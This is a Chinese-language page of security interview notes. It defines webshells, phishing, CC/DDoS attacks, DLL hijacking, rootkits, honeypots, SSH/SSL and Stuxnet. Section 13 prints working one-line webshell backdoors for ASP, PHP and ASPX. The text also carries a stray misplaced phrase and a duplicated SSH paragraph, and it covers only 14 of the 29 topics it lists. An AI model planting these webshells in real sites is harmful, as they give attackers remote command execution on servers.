⽹络安全、Web安全、渗透测试之笔经⾯经总结(三)本篇⽂章涉及的知识点有如下⼏⽅⾯:
1.什么是WebShell?
2.什么是⽹络钓鱼?
3.你获取⽹络安全知识途径有哪些?
4.什么是CC攻击?
5.Web服务器被⼊侵后,怎样进⾏排查?
6.dll⽂件是什么意思,有什么⽤?DLL劫持原理
7.0day漏洞
8.Rootkit是什么意思
9.蜜罐
10.ssh
11.DDOS
12.震⽹病毒:
13.⼀句话⽊马
14.Https的作⽤
15.⼿⼯查后门⽊马的⼩技巧
16.描述OSI(开放系统互联基本参考模型)七层结构
17.TCP和UDP的区别
18.脱壳
19.“⼈⾁搜索”
20.SYN Flood的基本原理
21.什么是⼿机”越狱“
22.主机被⼊侵,你会如何处理这件事⾃查解决⽅案:
23. NAT(⽹络地址转换)协议
24.内⽹穿透
25.虚拟专⽤⽹络
26.⼆层交换机
27.路由技术
28.三层交换机
29.IPv6地址表⽰
1.什么是WebShell?
WebShell就是以asp、php、jsp或者cgi等⽹页⽂件形式存在的─种命令执⾏环境,也可以将其称做为─种⽹页后门。⿊客在⼊侵了─个⽹站后,通常会将这些asp或php后门⽂件与⽹站服务器WEB⽬录下正常的⽹页⽂件混在─起,然后就可以使⽤浏览器来访问这些asp或者php后门,得到─个命令执⾏环境,以
达到控制⽹站服务器的⽬的(可以上传下载⽂件,查看数据库,执⾏任意程序命令等)。国内常⽤的WebShell有海阳ASP⽊马,Phpspy,c99shell等。
(静态⽹页:最常⽤的格式⽂件就是html格式⽂件,⼤部分⽹页的格式都是html格式,html格式⼜包含有.htm、dhtml.xhtml.shtm.shtml。这些都是指静态页⾯,⾥⾯不含有动态程序。
动态⽹页页⾯级包括有ASP(基于JavaScript 或VbScript或C#)、JSP、PHP、ASPX、jspx、cgi。这些⾥⾯是包含服务器端执⾏的代码,也就是服务器在将这些⽹页发给客户端之前,会先执⾏⾥⾯的动态程序语⾔,并把执⾏后⽣成的html发送到客户端来的,所以我们在客户端看到的源代码也是html格式的(因为动态的代码直接在服务器上执⾏,⽽这些服务器代码是前台是不会显⽰出来。)
2.什么是⽹络钓鱼?
⽹络钓鱼是通过⼤量发送声称来⾃于银⾏或其他知名机构的欺骗性垃圾邮件,意图引诱收信⼈给出敏感信息(如⽤户名、⼝令、帐号 ID 、ATM PIN 码或信⽤卡详细信息)的⼀种攻击⽅式。
最典型的⽹络钓鱼攻击将收信⼈引诱到⼀个通过精⼼设计与⽬标组织的⽹站⾮常相似的钓鱼⽹站上,并获取收信⼈在此⽹站上输⼊的个⼈敏感信息,通常这个攻击过程不会让受害者警觉。shell程序的编写流程
它常常导引⽤户到URL与接⼝外观与真正⽹站⼏⽆⼆致的假冒⽹站输⼊个⼈数据。就算使⽤强式加密的
SSL服务器认证,要侦测⽹站是否仿冒实际上仍很困难。⽹钓是⼀种利⽤社会⼯程技术来愚弄⽤户的实例。它凭恃的是现⾏⽹络安全技术的低亲和度。
3.你获取⽹络安全知识途径有哪些?
1.⽹站,看雪,安全焦点,国内的乌云,FreeBuf
2.视频学习:i春秋,51cto,慕课⽹,实验楼,实验吧,⽹易云课堂等等
3.、知乎等,企业src等
4.书籍,《⽩帽⼦讲web安全》《Web应⽤安全权威指南》等
5.然后就是请教⽜⼈
6.最后是公司内技术分享。
4.什么是CC攻击?
这个也是知道⼀些,知道他是DDos的变种,正常请求伪造,服务器资源耗尽,最终还是看看百科答案吧:CC攻击是DDOS(分布式拒绝服务)的⼀种,相⽐其它的DDOS攻击CC似乎更有技术含量⼀些。
这种攻击你见不到真实源IP,见不到特别⼤的异常流量,但造成服务器⽆法进⾏正常连接。CC攻击的原理就是攻击者控制某些主机不停地发⼤量数据包给对⽅服务器造成服务器资源耗尽,⼀直到宕机崩溃。CC主要是⽤来攻击页⾯的,每个⼈都有这样的体验:当⼀个⽹页访问的⼈数特别多的时候,打开⽹页就慢了,CC就是模拟多个⽤户(多少线程就是多少⽤户)不停地进⾏访问那些需要⼤量数据操作(就是需要⼤量CPU时间)的页⾯,造成服务器资源的浪费,CPU长时间处于100%,永远都有处理不完的连接直⾄就⽹络拥塞,正常的访问被中⽌。
5.Web服务器被⼊侵后,怎样进⾏排查?
最简单就是1.查看下web 服务器⽇主,2.看看有没有异常端⼝开放,3.使⽤安全狗等服务器安全软件清扫。
6.dll⽂件是什么意思,有什么⽤?
DLL(Dynamic Link Library)⽂件,即动态链接库,也有⼈称作应⽤程序拓展。
Windows应⽤程序中,实⾏了模块化设计,也就是说并不是每个应⽤程序都编写完所有的功能代码,⽽是在运⾏过程中调⽤相应功能的DLL,不需运⾏的功能就不调⽤,所以⼤⼤加快了程序的加载速度和效率,其他应⽤程序也可以调⽤相关的DLL,这样也有利于促进代码重⽤以及内存使⽤效率,减少了资源占⽤,⽽且程序更新时也只要更新相关的DLL就可以了。
要注意的是,有些病毒也会伪装成DLL⽂件,并替换系统的DLL⽂件,需要我们防范。
DLL劫持原理
由于输⼊表中只包含DLL名⽽没有它的路径名,因此加载程序必须在磁盘上搜索DLL⽂件。⾸先会尝试从当前程序所在的⽬录加载DLL,如果没到,则在Windows系统⽬录中查,最后是在环境变量中列出的各个⽬录下查。利⽤这个特点,先伪造⼀个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调⽤系统DLL时会先调⽤当前⽬录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数⾥执⾏。这个过程⽤个形象的词来描述就是系统DLL被劫持(hijack)了。
伪造的dll制作好后,放到程序当前⽬录下,这样当原程序调⽤原函数时就调⽤了伪造的dll的同名函数,进⼊劫持DLL的代码,处理完毕后,再调⽤原DLL此函数。
如何防⽌DLL劫持
DLL劫持利⽤系统未知DLL的搜索路径⽅式,使得程序加载当前⽬录下的系统同名DLL。所以可以告诉系统DLL的位置,改变加载系统DLL 的顺序不是当前⽬录,⽽是直接到系统⽬录下查。
7.0day漏洞
是已经发现但是官⽅还没发布补丁的漏洞。
信息安全意义上的0Day是指在安全补丁发布前⽽被了解和掌握的漏洞信息。
8.Rootkit是什么意思
Rootkit 是⼀种特殊类型的 malware(恶意软件)。Rootkit 之所以特殊是因为您不知道它们在做什么事情。Rootkit 基本上是⽆法检测到的,⽽且⼏乎不可能删除它们。虽然检测⼯具在不断增多,但是恶意软件的开发者也在不断寻新的途径来掩盖他们的踪迹。
Rootkit 的⽬的在于隐藏⾃⼰以及其他软件不被发现。它可以通过阻⽌⽤户识别和删除攻击者的软件来达到这个⽬的。Rootkit ⼏乎可以隐藏任何软件,包括⽂件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚⾄可以隐藏⼤型的⽂件集合并允许攻击者在您的计算机上保存许多⽂件,⽽您⽆法看到这些⽂件。
Rootkit 本⾝不会像病毒或蠕⾍那样影响计算机的运⾏。攻击者可以出⽬标系统上的现有漏洞。漏洞可能包括:开放的⽹络端⼝、未打补丁的系统或者具有脆弱的管理员密码的系统。在获得存在漏洞的系统的访问权限之后,攻击者便可⼿动安装⼀个 Rootkit。这种类型的偷偷摸摸的攻击通常不会触发⾃动执⾏的⽹络安全控制功能,例如⼊侵检测系统。
出 Rootkit ⼗分困难。有⼀些软件包可以检测 Rootkit。这些软件包可划分为以下两类:基于签名的检
查程序和基于⾏为的检查程序。基于签名(特征码)的检查程序,例如⼤多数病毒扫描程序,会检查⼆进制⽂件是否为已知的 Rootkit。基于⾏为的检查程序试图通过查⼀些代表 Rootkit 主要⾏为的隐藏元素来出 Rootkit。⼀个流⾏的基于⾏为的 Rootkit 检查程序是 Rootkit Revealer.
在发现系统中存在 Rootkit 之后,能够采取的补救措施也较为有限。由于 Rootkit 可以将⾃⾝隐藏起来,所以您可能⽆法知道它们已经在系统中存在了多长的时间。⽽且您也不知道 Rootkit 已经对哪些信息造成了损害。对于出的 Rootkit,最好的应对⽅法便是擦除并重新安装系统。虽然这种⼿段很严厉,但是这是得到证明的唯⼀可以彻底删除 Rootkit 的⽅法。
防⽌ Rootkit 进⼊您的系统是能够使⽤的最佳办法。为了实现这个⽬的,可以使⽤与防范所有攻击计算机的恶意软件⼀样的深⼊防卫策略。深度防卫的要素包括:病毒扫描程序、定期更新软件、在主机和⽹络上安装防⽕墙,以及强密码策略
9.蜜罐
蜜罐好⽐是情报收集系统。蜜罐好像是故意让⼈攻击的⽬标,引诱⿊客前来攻击。所以攻击者⼊侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听⿊客之间的联系,收集⿊客所⽤的种种⼯具,并且掌握他们的社交⽹络。
10.ssh
SSH 为 Secure Shell 的缩写,由 IETF 的⽹络⼩组(Network Working Group)所制定;SSH 为建⽴在应⽤层基础上的安全协议。SSH 是⽬前较可靠,专为远程登录会话和其他⽹络服务提供安全性的协议。利⽤ SSH 协议可以有效防⽌远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的⼀个程序,后来⼜迅速扩展到其他操作平台。SSH在正确使⽤时可弥补⽹络中的漏洞。SSH客户端适⽤于多种平台。⼏乎所有UNIX平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运⾏SSH。
传统的⽹络服务程序,如:ftp、pop和telnet在本质上都是不安全的,因为它们在⽹络上⽤明⽂传送⼝令和数据,别有⽤⼼的⼈⾮常容易就可以截获这些⼝令和数据。⽽且,这些服务程序的安全验证⽅式也是有其弱点的,就是很容易受到“中间⼈”(man-in-the-middle)这种⽅式的攻击。所谓“中间⼈”的攻击⽅式,就是“中间⼈”冒充真正的服务器接收你传给服务器的数据,然后再冒充你把数据传给真正的服务器。服务器和你之间的数据传送被“中间⼈”⼀转⼿做了⼿脚之后,就会出现很严重的问题。通过使⽤SSH,你可以把所有传输的数据进⾏加密,这样"中间⼈"这种攻击⽅式就不可能实现了,⽽且也能够防⽌DNS欺骗和IP欺骗。使⽤SSH,还有⼀个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。SSH有很多功能,它既可以代替Telnet,⼜可以为FTP、PoP、甚⾄为PPP提供⼀个安全的"通道"。
英⽂全称是Secure Shell。通过使⽤SSH,你可以把所有传输的数据进⾏加密,这样"中间⼈"这种攻击⽅
式就不可能实现了,⽽且也能够防⽌DNS和IP欺骗。还有⼀个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。 SSH有很多功能,它既可以代替telnet,⼜可以为ftp、pop、甚⾄ppp提供⼀个安全的"通道"。
SSH是由客户端和服务端的软件组成的,有两个不兼容的版本分别是:1.x和2.x。⽤SSH 2.x的客户程序是不能连接到SSH 1.x的服务程序上去的。OpenSSH 2.x同时⽀持SSH 1.x和2.x。SSH的安全验证是如何⼯作的从客户端来看,SSH提供两种级别的安全验证。第⼀种级别(基于⼝令的安全验证)只要你知道⾃⼰帐号和⼝令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间⼈”这种⽅式的攻击。第⼆种级别(基于密匙的安全验证)需要依靠密匙,也就是你必须为⾃⼰创建⼀对密匙,并把公⽤密匙放在需要访问的服务器上。如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求⽤你的密匙进⾏安全验证。服务器收到请求之后,先在你在该服务器的家⽬录下寻你的公⽤密匙,然后把它和你发送过来的公⽤密匙进⾏⽐较。如果两个密匙⼀致,服务器就⽤公⽤密匙加密“质询”(challenge)并把它发送给客户端软件。客户端软件收到“质询”之后就可以⽤你的私⼈密匙解密再把它发送给服务器。⽤这种⽅式,你必须知道⾃⼰密匙的⼝令。但是,与第⼀种级别相⽐,第⼆种级别不需要在⽹络上传送⼝令。第⼆种级别不仅加密所有传送的数据,⽽且“中间⼈”这种攻击⽅式也是不可能的(因为他没有你的私⼈密匙)。但是整个登录的过程可能需要10秒。
SSL(Secure Sockets Layer (SSL) and Transport Layer Security (TLS))被设计为加强Web安全传输(HTTP/HTTPS/)的协议(事实上还有SMTP/NNTP等),SSH(Secure Shell)更多的则被设计为加强Telnet/FTP安全的传输协议,默认地,它使⽤22端⼝.
以SSL为例,基本上SSL在传输过程中所处的位置如下:
---------
| HTTP |
---------
| SSL |
---------
| TCP |
---------
| IP |
---------
如果利⽤SSL协议来访问⽹页,其步骤如下:
HTTP层:将⽤户需求翻译成HTTP请求,如
GET /index.htm HTTP/1.1
SSL层: 借助下层协议的的信道安全的协商出⼀份加密密钥,并⽤此密钥来加密HTTP请求。
TCP层:与web server的443端⼝建⽴连接,传递SSL处理后的数据。
接收端与此过程相反。
SSL在TCP之上建⽴了⼀个加密通道,通过这⼀层的数据经过了加密,因此达到保密的效果。
SSL协议分为两部分:Handshake Protocol和Record Protocol,。其中Handshake Protocol⽤来协商密钥,协议的⼤部分内容就是通信双⽅如何利⽤它来安全的协商出⼀份密钥。 Record Protocol则定义了传输的格式。
11.DDOS
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对⼀个或多个⽬标发动DDoS攻击,从⽽成倍地提⾼拒绝服务攻击的威⼒。通常,攻击者使⽤⼀个偷窃帐号将DDoS主控程序安装在⼀个计算机上,在⼀个设定的时间主控程序将与⼤量代理程序通讯,代理程序已经被安装在⽹络上的许多计算机上。代理程序收到指令时就发动攻击。利⽤客户/服务器技术,主控程序能在⼏秒钟内激活成百上千次代理程序的运⾏。
12.震⽹病毒:
指⼀种蠕⾍病毒,是第⼀个专门定向攻击真实世界中基础(能源)设施的“蠕⾍”病毒,⽐如核电站,⽔坝,国家电⽹。只要电脑操作员将被病毒感染的U盘插⼊USB接⼝,这种病毒就会在神不知⿁不觉的情况下(不会有任何其他操作要求或者提⽰出现)取得⼀些⼯业⽤电脑系统的控制权。
与传统的电脑病毒相⽐,“震⽹”病毒不会通过窃取个⼈隐私信息牟利。⽆需借助⽹络连接进⾏传播。这种病毒可以破坏世界各国的化⼯、发电和电⼒传输企业所使⽤的核⼼⽣产控制电脑软件,并且代替其对⼯⼚其他电脑“发号施令”。极具毒性和破坏⼒。“震⽹”代码⾮常精密,主要有两个功能,⼀是使伊朗的离⼼机运⾏失控,⼆是掩盖发⽣故障的情况,“谎报军情”,以“正常运转”记录回传给管理部门,造成决策的误判。
13.⼀句话⽊马
asp⼀句话⽊马:
<%execute(request("value"))%>
php⼀句话⽊马:
<?php @eval($_POST[value]);?>
变形:<?php $x=$_GET[‘z’];@eval(“$x;”);?>
aspx⼀句话⽊马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
14.Https的作⽤
内容加密建⽴⼀个信息安全通道,来保证数据传输的安全;
⾝份认证确认⽹站的真实性
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论